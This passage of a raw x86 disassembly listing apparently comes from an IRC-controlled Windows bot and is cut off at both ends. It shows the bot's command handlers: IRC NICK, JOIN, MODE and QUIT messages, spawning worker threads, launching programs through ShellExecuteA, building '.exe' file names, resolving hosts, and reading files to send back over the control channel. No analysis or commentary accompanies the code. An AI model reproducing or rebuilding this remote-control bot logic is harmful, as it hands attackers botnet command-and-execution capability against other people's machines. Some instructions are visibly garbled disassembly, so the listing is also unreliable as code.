XREF: .nsp0:0040D918j call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42E2D4 jmp loc_40DF0A ; --------------------------------------------------------------------------- loc_40D941: ; CODE XREF: .nsp0:0040C3E8j ; .nsp0:0040C3FFj push dword ptr [ebp+20h] call sub_41245F cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_40DA32 mov esi, 80h push edi lea eax, [ebp-700h] push esi push eax call sub_41246A xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-8Ch] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_41246A mov eax, [ebp-4] push dword ptr [ebp+20h] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax push edi push offset unk_42E294 lea eax, [ebp-2C8h] push 200h push eax call sub_41246A push ebx lea eax, [ebp-2C8h] push 0Dh push eax call sub_41199A add esp, 38h mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset loc_401447 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40DA21 loc_40DA0B: ; CODE XREF: .nsp0:0040DA1Fj cmp [ebp-568h], ebx jnz loc_40C876 push 32h call dword_41D05C ; Sleep jmp short loc_40DA0B ; --------------------------------------------------------------------------- loc_40DA21: ; CODE XREF: .nsp0:0040DA09j call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42E248 jmp loc_40C867 ; --------------------------------------------------------------------------- loc_40DA32: ; CODE XREF: .nsp0:0040D952j push offset unk_42E1FC jmp loc_40EF8A ; --------------------------------------------------------------------------- loc_40DA3C: ; CODE XREF: .nsp0:0040C3BAj ; .nsp0:0040C3D1j push dword ptr [ebp+20h] push edi call near ptr 0AB0000h cmpsd test eax, eax jz short loc_40DA6C push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push edi push offset unk_42E1C4 push 200h push eax call sub_41246A loc_40DA64: ; CODE XREF: .nsp0:0040E29Fj add esp, 14h jmp loc_40C876 ; --------------------------------------------------------------------------- loc_40DA6C: ; CODE XREF: .nsp0:0040DA48j push offset dword_42E1A4 call loc_407ADC push eax lea eax, [ebp-2C8h] push 200h push eax call sub_41246A add esp, 10h jmp loc_40C876 ; --------------------------------------------------------------------------- loc_40DA90: ; CODE XREF: .nsp0:0040C38Cj ; .nsp0:0040C3A3j push edi lea eax, [ebp-77Ch] push 104h push eax call sub_41246A add esp, 0Ch cmp [ebp-0Ch], ebx jz short loc_40DACA push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_4124C0 pop ecx cmp eax, ebx pop ecx jz short loc_40DACA push eax lea eax, [ebp-678h] push eax call sub_411EEE pop ecx pop ecx loc_40DACA: ; CODE XREF: .nsp0:0040DAA8j ; .nsp0:0040DAB9j push dword ptr [ebp-8Ch] lea eax, [ebp-7FCh] push 80h push eax call sub_41246A mov eax, [ebp+0Ch] mov [ebp-800h], eax mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-678h] push eax lea eax, [ebp-77Ch] push eax push offset unk_42E160 lea eax, [ebp-2C8h] push 200h push eax call sub_41246A push ebx lea eax, [ebp-2C8h] push 1Bh push eax call sub_41199A add esp, 2Ch mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-800h] push ebx push eax push offset sub_40665C push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40DB7D loc_40DB67: ; CODE XREF: .nsp0:0040DB7Bj cmp [ebp-568h], ebx jnz loc_40C897 push 32h call dword_41D05C ; Sleep jmp short loc_40DB67 ; --------------------------------------------------------------------------- loc_40DB7D: ; CODE XREF: .nsp0:0040DB65j call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42E110 loc_40DB89: ; CODE XREF: .nsp0:0040F166j ; .nsp0:0040F677j lea eax, [ebp-2C8h] push eax call sub_411EEE add esp, 0Ch jmp loc_40C897 ; --------------------------------------------------------------------------- loc_40DB9D: ; CODE XREF: .nsp0:0040C35Ej ; .nsp0:0040C375j push 44h lea eax, [ebp-48Ch] pop esi push esi push ebx push eax call sub_411F70 push 1 mov [ebp-48Ch], esi pop esi mov [ebp-45Ch], bx push edi mov [ebp-460h], esi call sub_41245F add esp, 10h cmp eax, esi jnz short loc_40DBDA mov word ptr [ebp-45Ch], 5 loc_40DBDA: ; CODE XREF: .nsp0:0040DBCFj cmp [ebp-0Ch], ebx jz loc_40E5D4 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_4124C0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_40E5D4 lea eax, [ebp-2D8h] push eax lea eax, [ebp-48Ch] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 0AB0000h sbb al, 85h sal byte ptr [ebp+0Ah], 68h fsub st, st inc edx add cl, ch mov eax, ds:57000009h push offset unk_42E0AC jmp loc_40DF0A ; --------------------------------------------------------------------------- loc_40DC30: ; CODE XREF: .nsp0:0040C330j ; .nsp0:0040C347j push dword ptr [ebp+20h] push offset aIds4473 ; "ids4473" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DDA4 lea eax, [ebp-3E8h] push eax push 104h call near ptr 0AB0000h pop edi push 0FFh lea eax, [ebp-788h] push edi push eax call sub_413710 lea eax, [ebp-2E4h] push eax call sub_410DCB push eax lea eax, [ebp-3E8h] push eax lea eax, [ebp-688h] push offset aSS_exe ; "%s%s.exe" push eax call sub_411EEE mov eax, [ebp+esi-88h] add esp, 20h cmp eax, ebx mov dword ptr [ebp-584h], 1 mov [ebp-580h], ebx jz short loc_40DCC2 push 10h push ebx push eax call sub_413459 add esp, 0Ch mov [ebp-578h], eax jmp short loc_40DCC8 ; --------------------------------------------------------------------------- loc_40DCC2: ; CODE XREF: .nsp0:0040DCACj mov [ebp-578h], ebx loc_40DCC8: ; CODE XREF: .nsp0:0040DCC0j mov esi, [ebp+esi-84h] cmp esi, ebx jz short loc_40DCE2 push esi call sub_41245F pop ecx mov [ebp-57Ch], eax jmp short loc_40DCE8 ; --------------------------------------------------------------------------- loc_40DCE2: ; CODE XREF: .nsp0:0040DCD1j mov [ebp-57Ch], ebx loc_40DCE8: ; CODE XREF: .nsp0:0040DCE0j movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_413710 mov eax, [ebp-4] push edi mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax lea eax, [ebp-2C8h] push offset unk_42E060 push eax call sub_411EEE push esi lea eax, [ebp-2C8h] push 16h push eax call sub_41199A add esp, 24h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push offset loc_40915B push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40DD93 loc_40DD7D: ; CODE XREF: .nsp0:0040DD91j cmp [ebp-568h], ebx jnz loc_40E5D4 push 32h call dword_41D05C ; Sleep jmp short loc_40DD7D ; --------------------------------------------------------------------------- loc_40DD93: ; CODE XREF: .nsp0:0040DD7Bj call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42E010 jmp loc_40DF0A ; --------------------------------------------------------------------------- loc_40DDA4: ; CODE XREF: .nsp0:0040DC41j push offset unk_42DFB8 jmp loc_40E5C6 ; --------------------------------------------------------------------------- loc_40DDAE: ; CODE XREF: .nsp0:0040C302j ; .nsp0:0040C319j push dword ptr [ebp-90h] push offset a332 ; "332" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40A7B4 cmp [ebp-0Ch], ebx jz loc_40A7B4 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_4124C0 push eax lea eax, [ebp-2C8h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset dword_42DFA8 push eax call sub_411EEE lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_413710 push edi call sub_41245F add esp, 30h test eax, eax jle short loc_40DE35 push edi call sub_41245F imul eax, 3E8h pop ecx push eax call dword_41D05C ; Sleep loc_40DE35: ; CODE XREF: .nsp0:0040DE1Fj push offset dword_42DF80 call sub_408E17 mov eax, [ebp+2Ch] pop ecx inc eax jmp loc_40A7B7 ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: .nsp0:0040C2D4j ; .nsp0:0040C2EBj push dword ptr [ebp-90h] push offset a332 ; "332" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40A7B4 cmp [ebp-0Ch], ebx jz loc_40F7D2 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_4124C0 mov esi, eax mov eax, [ebp+20h] inc eax push offset aRepeat ; "repeat" push eax call sub_412310 add esp, 10h test eax, eax push esi jz short loc_40DF05 push dword ptr [ebp-8Ch] lea eax, [ebp-2C8h] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset dword_42DFA8 push eax call sub_411EEE lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_413710 push esi lea eax, [ebp-2C8h] push offset dword_42DF4C push eax call sub_411EEE lea eax, [ebp-2C8h] push eax call sub_408E17 push edi call sub_41245F add esp, 38h test eax, eax jle loc_40F7D2 push edi call sub_41245F add eax, [ebp+2Ch] pop ecx jmp loc_40A7B7 ; --------------------------------------------------------------------------- loc_40DF05: ; CODE XREF: .nsp0:0040DE8Ej push offset dword_42DF04 loc_40DF0A: ; CODE XREF: .nsp0:0040C7FDj ; .nsp0:0040D93Cj ... lea eax, [ebp-2C8h] push eax call sub_411EEE add esp, 0Ch jmp loc_40E5D4 ; --------------------------------------------------------------------------- loc_40DF1E: ; CODE XREF: .nsp0:0040C2A6j ; .nsp0:0040C2BDj push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push offset dword_42DEFC push eax call sub_411EEE push edi call sub_41245F add esp, 10h loc_40DF3B: ; CODE XREF: .nsp0:0040DFA5j test eax, eax jle loc_40F7D2 push edi call sub_41245F cmp eax, 12Ch pop ecx jge loc_40F7D2 loc_40DF55: ; CODE XREF: .nsp0:0040E6A8j lea eax, [ebp-2C8h] push eax push offset dword_42DEF4 push edi call sub_41245F imul eax, 234h pop ecx push dword_438C64[eax] call sub_40F9AB loc_40DF79: ; CODE XREF: .nsp0:0040F535j add esp, 0Ch jmp loc_40F7D2 ; --------------------------------------------------------------------------- loc_40DF81: ; CODE XREF: .nsp0:0040C278j ; .nsp0:0040C28Fj push dword ptr [ebp+esi-88h] lea eax, [ebp-2C8h] push dword ptr [ebp+20h] push offset dword_42DEE8 push eax call sub_411EEE push edi call sub_41245F add esp, 14h jmp short loc_40DF3B ; --------------------------------------------------------------------------- loc_40DFA7: ; CODE XREF: .nsp0:0040C24Aj ; .nsp0:0040C261j push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push offset dword_42DEE0 push eax call sub_411EEE push edi call sub_41245F add esp, 10h test eax, eax jle loc_40F7D2 push edi call sub_41245F cmp eax, 12Ch pop ecx jge loc_40F7D2 lea eax, [ebp-2C8h] push eax push offset dword_42DEF4 push edi call sub_41245F imul eax, 234h pop ecx push dword_438C64[eax] call sub_40F9AB push dword ptr [ebp+20h] push edi push offset dword_42DEB0 loc_40E00B: ; CODE XREF: .nsp0:0040E095j ; .nsp0:0040E100j ... call sub_408E8B loc_40E010: ; CODE XREF: .nsp0:0040F202j add esp, 18h jmp loc_40F7D2 ; --------------------------------------------------------------------------- loc_40E018: ; CODE XREF: .nsp0:0040C21Cj ; .nsp0:0040C233j cmp [ebp-0Ch], ebx jz loc_40F7D2 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_4124C0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40E049 push esi lea eax, [ebp-2C8h] push offset dword_42DEA8 push eax call sub_411EEE add esp, 0Ch loc_40E049: ; CODE XREF: .nsp0:0040E032j push edi call sub_41245F test eax, eax pop ecx jle loc_40F7D2 push edi call sub_41245F cmp eax, 12Ch pop ecx jge loc_40F7D2 lea eax, [ebp-2C8h] push eax push offset dword_42DEF4 push edi call sub_41245F imul eax, 234h pop ecx push dword_438C64[eax] call sub_40F9AB push esi push edi push offset dword_42DE78 jmp loc_40E00B ; --------------------------------------------------------------------------- loc_40E09A: ; CODE XREF: .nsp0:0040C1EEj ; .nsp0:0040C205j cmp [ebp-0Ch], ebx jz loc_40F7D2 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_4124C0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40F7D2 push edi call sub_41245F test eax, eax pop ecx jle loc_40F7D2 push edi call sub_41245F cmp eax, 12Ch pop ecx jge loc_40F7D2 push esi push offset dword_42DEF4 push edi call sub_41245F imul eax, 234h pop ecx push dword_438C64[eax] call sub_40F9AB push esi push edi push offset dword_42DE48 jmp loc_40E00B ; --------------------------------------------------------------------------- loc_40E105: ; CODE XREF: .nsp0:0040C1C0j ; .nsp0:0040C1D7j cmp [ebp-0Ch], ebx jz loc_40F7D2 push edi push dword ptr [ebp-0Ch] call sub_4124C0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40F7D2 push esi push offset aModeS ; "MODE %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push esi push offset dword_42DE0C loc_40E137: ; CODE XREF: .nsp0:0040E84Dj ; .nsp0:0040E866j ... call sub_408E8B loc_40E13C: ; CODE XREF: .nsp0:0040E1A5j add esp, 14h jmp loc_40F7D2 ; --------------------------------------------------------------------------- loc_40E144: ; CODE XREF: .nsp0:0040C192j ; .nsp0:0040C1A9j push dword ptr [ebp-90h] push offset a332 ; "332" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40A7B4 push dword ptr [ebp+20h] push offset dword_42DE00 push dword ptr [ebp+0Ch] call sub_40F9AB push edi call sub_41245F imul eax, 3E8h add esp, 10h push eax call dword_41D05C ; Sleep push dword ptr [ebp+esi-88h] push dword ptr [ebp+20h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push offset dword_42DDD8 call sub_408E17 jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E1A7: ; CODE XREF: .nsp0:0040C164j ; .nsp0:0040C17Bj cmp [ebp-0Ch], ebx jz loc_40F7D2 push edi call sub_4126F0 push dword ptr [ebp+18h] mov esi, eax call sub_4126F0 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_4124C0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40F7D2 push esi lea eax, [ebp-2C8h] push offset dword_42E678 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push ebx push eax push edi push dword ptr [ebp+0Ch] call sub_40F9F1 push esi push edi push offset dword_42DDA8 call sub_408E8B add esp, 2Ch jmp loc_40F7D2 ; --------------------------------------------------------------------------- loc_40E215: ; CODE XREF: .nsp0:0040C136j ; .nsp0:0040C14Dj cmp [ebp-0Ch], ebx jz loc_40F7D2 push edi call sub_4126F0 push dword ptr [ebp+18h] mov esi, eax call sub_4126F0 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_4124C0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40F7D2 push ebx push ebx push esi push edi push dword ptr [ebp+0Ch] call sub_40F9F1 push esi push edi push offset dword_42DD78 call sub_408E8B jmp loc_40CE32 ; --------------------------------------------------------------------------- loc_40E268: ; CODE XREF: .nsp0:0040C108j ; .nsp0:0040C11Fj cmp [ebp-0Ch], ebx jz loc_40A7B4 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_4124C0 pop ecx cmp eax, ebx pop ecx jz loc_40A7B4 push eax push edi call sub_408D1F push edi lea eax, [ebp-2C8h] push offset dword_42DD48 push eax call sub_411EEE jmp loc_40DA64 ; --------------------------------------------------------------------------- loc_40E2A4: ; CODE XREF: .nsp0:0040C0C8j ; .nsp0:0040C0DFj push edi push dword ptr [ebp+24h] call sub_4124C0 pop ecx test eax, eax pop ecx jz loc_40F7D2 mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_40E341 push esi push dword ptr [ebp-0Ch] call sub_4124C0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40E329 push esi lea eax, [ebp-2C8h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset dword_42DFA8 push eax call sub_411EEE lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_413710 push esi push edi lea eax, [ebp-2C8h] push offset dword_42DD10 push eax call sub_411EEE add esp, 34h inc dword ptr [ebp+2Ch] jmp loc_40F418 ; --------------------------------------------------------------------------- loc_40E329: ; CODE XREF: .nsp0:0040E2D1j lea eax, [ebp-2C8h] push offset dword_42DCCC push eax call sub_411EEE pop ecx pop ecx jmp loc_40F418 ; --------------------------------------------------------------------------- loc_40E341: ; CODE XREF: .nsp0:0040E2C0j push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_408C59 add esp, 0Ch push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 push edi push offset dword_42DCA0 lea eax, [ebp-2C8h] push 200h push eax call sub_41246A add esp, 24h jmp loc_40F418 ; --------------------------------------------------------------------------- loc_40E388: ; CODE XREF: .nsp0:0040BB05j ; .nsp0:0040BB1Cj push offset aR ; "r" push edi call sub_4125E8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40E402 mov ebx, 200h push esi lea eax, [ebp-2C8h] push ebx push eax call sub_4140AC add esp, 0Ch loc_40E3B1: ; CODE XREF: .nsp0:0040E3E0j test eax, eax jz short loc_40E3E2 push 1 lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 push esi lea eax, [ebp-2C8h] push ebx push eax call sub_4140AC add esp, 20h jmp short loc_40E3B1 ; --------------------------------------------------------------------------- loc_40E3E2: ; CODE XREF: .nsp0:0040E3B3j push esi call sub_412540 push edi lea eax, [ebp-2C8h] push offset dword_42DC64 push eax call sub_411EEE add esp, 10h jmp loc_40C0A0 ; --------------------------------------------------------------------------- loc_40E402: ; CODE XREF: .nsp0:0040E399j push edi push offset dword_42DC30 jmp loc_40F686 ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: .nsp0:0040BAD7j ; .nsp0:0040BAEEj cmp [ebp-0Ch], ebx jz loc_40F7D2 push edi push dword ptr [ebp-0Ch] call sub_4124C0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40F7D2 push offset asc_422200 ; "\n" push esi call sub_412610 push esi call sub_4084BD add esp, 0Ch test eax, eax jnz short loc_40E44D push offset dword_42DBF0 jmp loc_40E5C6 ; --------------------------------------------------------------------------- loc_40E44D: ; CODE XREF: .nsp0:0040E441j push esi push offset dword_42DBC4 jmp loc_40F409 ; --------------------------------------------------------------------------- loc_40E458: ; CODE XREF: .nsp0:0040BAA9j ; .nsp0:0040BAC0j cmp [ebp-0Ch], ebx jz loc_40F7D2 push edi push dword ptr [ebp-0Ch] call sub_4124C0 pop ecx cmp eax, ebx pop ecx jz loc_40F7D2 push eax call loc_407BA1 test eax, eax pop ecx jnz short loc_40E489 push offset unk_42DB94 jmp loc_40E5C6 ; --------------------------------------------------------------------------- loc_40E489: ; CODE XREF: .nsp0:0040E47Dj push offset dword_42DB64 jmp loc_40E5C6 ; --------------------------------------------------------------------------- loc_40E493: ; CODE XREF: .nsp0:0040BA7Bj ; .nsp0:0040BA92j push ebx push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push edi call sub_404A02 push edi push offset dword_42DB3C jmp loc_40E00B ; --------------------------------------------------------------------------- loc_40E4AE: ; CODE XREF: .nsp0:0040BA4Dj ; .nsp0:0040BA64j push edi call near ptr 0AB0000h mov al, ds:874C085h push edi push offset dword_42DB0C jmp short loc_40E4CC ; --------------------------------------------------------------------------- push offset dword_42E1A4 call loc_407ADC push eax loc_40E4CC: ; CODE XREF: .nsp0:0040E4BFj lea eax, [ebp-2C8h] push 200h push eax call sub_41246A add esp, 10h jmp loc_40C07F ; --------------------------------------------------------------------------- loc_40E4E5: ; CODE XREF: .nsp0:0040BA1Fj ; .nsp0:0040BA36j push edi call sub_41245F push eax call sub_410D06 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_40E502 push offset dword_42DAD4 jmp short loc_40E507 ; --------------------------------------------------------------------------- loc_40E502: ; CODE XREF: .nsp0:0040E4F9j push offset dword_42DA8C loc_40E507: ; CODE XREF: .nsp0:0040E500j lea eax, [ebp-2C8h] push eax call sub_411EEE add esp, 0Ch cmp [ebp-8], ebx jnz loc_40C0A3 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h jmp loc_40C0A3 ; --------------------------------------------------------------------------- loc_40E540: ; CODE XREF: .nsp0:0040B9F1j ; .nsp0:0040BA08j push ebx push ebx push edi push dword ptr [ebp-4] push ebx push dword ptr [ebp+0Ch] call sub_410A77 add esp, 18h cmp eax, 1 push edi jnz short loc_40E562 push offset dword_42DA54 jmp loc_40F686 ; --------------------------------------------------------------------------- loc_40E562: ; CODE XREF: .nsp0:0040E556j push offset dword_42DA10 jmp loc_40F686 ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: .nsp0:0040B9C3j ; .nsp0:0040B9DAj push edi call dword_433B08 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz short loc_40E5A6 push 2 lea eax, [ebp+8] push 4 push eax call dword_433A80 ; gethostbyaddr cmp eax, ebx jz short loc_40E5C1 push dword ptr [eax] loc_40E58F: ; CODE XREF: .nsp0:0040E5BFj push edi lea eax, [ebp-2C8h] push offset dword_42D9E0 push eax call sub_411EEE add esp, 10h jmp short loc_40E5D4 ; --------------------------------------------------------------------------- loc_40E5A6: ; CODE XREF: .nsp0:0040E579j push edi call dword_433B4C ; gethostbyname cmp eax, ebx jz short loc_40E5C1 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_433B54 ; inet_ntoa push eax jmp short loc_40E58F ; --------------------------------------------------------------------------- loc_40E5C1: ; CODE XREF: .nsp0:0040E58Bj ; .nsp0:0040E5AFj push offset dword_42D9A4 loc_40E5C6: ; CODE XREF: .nsp0:0040DDA9j ; .nsp0:0040E448j ... lea eax, [ebp-2C8h] push eax call sub_411EEE pop ecx pop ecx loc_40E5D4: ; CODE XREF: .nsp0:0040D920j ; .nsp0:0040DBDDj ... cmp [ebp-8], ebx jnz loc_40F418 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h jmp loc_40F418 ; --------------------------------------------------------------------------- loc_40E5FE: ; CODE XREF: .nsp0:0040B995j ; .nsp0:0040B9ACj push 7Fh push edi push dword ptr [ebp+1Ch] call sub_413710 push edi lea eax, [ebp-2C8h] push offset dword_42D96C push eax call sub_411EEE add esp, 18h jmp loc_40F73A ; --------------------------------------------------------------------------- loc_40E623: ; CODE XREF: .nsp0:0040B967j ; .nsp0:0040B97Ej push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_433A3C ; ShellExecuteA test eax, eax push edi jz short loc_40E643 push offset unk_42D93C jmp loc_40F686 ; --------------------------------------------------------------------------- loc_40E643: ; CODE XREF: .nsp0:0040E637j push offset unk_42D904 jmp loc_40F686 ; --------------------------------------------------------------------------- loc_40E64D: ; CODE XREF: .nsp0:0040B939j ; .nsp0:0040B950j mov al, [edi] mov byte_425B6C, al movsx eax, byte ptr [edi] push eax push offset dword_42D8CC jmp loc_40F72B ; --------------------------------------------------------------------------- loc_40E662: ; CODE XREF: .nsp0:0040B90Bj ; .nsp0:0040B922j push edi call sub_41245F test eax, eax pop ecx jle loc_40F7D2 push edi call sub_41245F cmp eax, 12Ch pop ecx jge loc_40F7D2 push ebx push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_4110D8 push eax lea eax, [ebp-2C8h] push offset dword_42DEE0 push eax call sub_411EEE add esp, 1Ch jmp loc_40DF55 ; --------------------------------------------------------------------------- loc_40E6AD: ; CODE XREF: .nsp0:0040B8DDj ; .nsp0:0040B8F4j push edi call sub_41245F test eax, eax pop ecx jle loc_40A7B4 push edi call sub_41245F cmp eax, 12Ch pop ecx jge loc_40A7B4 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41245F imul eax, 234h pop ecx push dword_438C64[eax] call sub_40F9AB pop ecx pop ecx push 1F4h call dword_41D05C ; Sleep push edi call sub_41245F imul eax, 234h pop ecx push dword_438C64[eax] call dword_433B60 ; closesocket push dword ptr [ebp-10h] push edi call sub_41245F imul eax, 234h pop ecx push dword_438C6C[eax] call near ptr 0AB0000h loop near ptr loc_40E782+3 call sub_41245F imul eax, 234h push edi mov dword_438C6C[eax], ebx call sub_41245F imul eax, 234h pop ecx pop ecx mov byte ptr dword_438A58[eax], bl jmp loc_40A7B4 ; --------------------------------------------------------------------------- loc_40E758: ; CODE XREF: .nsp0:0040B8AFj ; .nsp0:0040B8C6j push edi push offset aAll ; "all" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40E787 call sub_411B63 cmp eax, ebx jle short loc_40E77D push eax push offset dword_42D87C jmp loc_40C867 ; --------------------------------------------------------------------------- loc_40E77D: ; CODE XREF: .nsp0:0040E770j push offset dword_42D840 loc_40E782: ; CODE XREF: .nsp0:0040E72Cj jmp loc_40EF8A ; --------------------------------------------------------------------------- loc_40E787: ; CODE XREF: .nsp0:0040E767j mov eax, [ebp-0ACh] lea edi, [eax+1] cmp edi, 20h jnb loc_40A7B4 lea eax, [ebp+edi*4-94h] mov [ebp+2Ch], eax loc_40E7A3: ; CODE XREF: .nsp0:0040E814j mov eax, [ebp+2Ch] mov esi, [eax] cmp esi, ebx jz loc_40A7B4 push esi call sub_41245F push eax call sub_411AD5 pop ecx pop ecx test eax, eax push esi jz short loc_40E7CA push offset dword_42D808 jmp short loc_40E7CF ; --------------------------------------------------------------------------- loc_40E7CA: ; CODE XREF: .nsp0:0040E7C1j push offset dword_42D7C8 loc_40E7CF: ; CODE XREF: .nsp0:0040E7C8j lea eax, [ebp-2C8h] push eax call sub_411EEE add esp, 0Ch cmp [ebp-8], ebx jnz short loc_40E7FF push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h loc_40E7FF: ; CODE XREF: .nsp0:0040E7E1j lea eax, [ebp-2C8h] push eax call sub_408E17 add dword ptr [ebp+2Ch], 4 inc edi cmp edi, 20h pop ecx jb short loc_40E7A3 jmp loc_40A7B4 ; --------------------------------------------------------------------------- loc_40E81B: ; CODE XREF: .nsp0:0040B881j ; .nsp0:0040B898j cmp [ebp-0Ch], ebx jz loc_40F7D2 push edi push dword ptr [ebp-0Ch] call sub_4124C0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40F7D2 push esi push offset dword_42DEF4 push dword ptr [ebp+0Ch] call sub_40F9AB push esi push offset dword_42D79C jmp loc_40E137 ; --------------------------------------------------------------------------- loc_40E852: ; CODE XREF: .nsp0:0040B853j ; .nsp0:0040B86Aj push edi push offset dword_42DE00 push dword ptr [ebp+0Ch] call sub_40F9AB push edi push offset dword_42D768 jmp loc_40E137 ; --------------------------------------------------------------------------- loc_40E86B: ; CODE XREF: .nsp0:0040B825j ; .nsp0:0040B83Cj push dword ptr [ebp+esi-8Ch] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push edi push offset dword_42D734 jmp loc_40E00B ; --------------------------------------------------------------------------- loc_40E88B: ; CODE XREF: .nsp0:0040B7F7j ; .nsp0:0040B80Ej push edi push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push edi push offset dword_42D6FC jmp loc_40E137 ; --------------------------------------------------------------------------- loc_40E8A4: ; CODE XREF: .nsp0:0040B7BCj ; .nsp0:0040B7D1j mov al, byte_422952 mov [ebp+8], ebx cmp al, bl mov edx, offset byte_422952 jz loc_40A7B4 mov ecx, edx loc_40E8BB: ; CODE XREF: .nsp0:0040E8C3j inc dword ptr [ebp+8] add ecx, 0Bh cmp [ecx], bl jnz short loc_40E8BB cmp al, bl jz loc_40A7B4 mov [ebp+20h], edx loc_40E8D0: ; CODE XREF: .nsp0:0040EB8Ej push 8 call sub_411BE2 pop ecx mov ecx, eax mov eax, 190h cdq idiv dword ptr [ebp+8] add eax, ecx cmp eax, 12Ch jle short loc_40E91F push ecx lea eax, [ebp-2C8h] push offset dword_42E7A8 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 20h jmp loc_40EB85 ; --------------------------------------------------------------------------- loc_40E91F: ; CODE XREF: .nsp0:0040E8EAj or dword ptr [ebp-300h], 0FFFFFFFFh cmp dword_422880, ebx mov dword ptr [ebp-304h], 64h mov dword ptr [ebp-318h], 4 mov dword 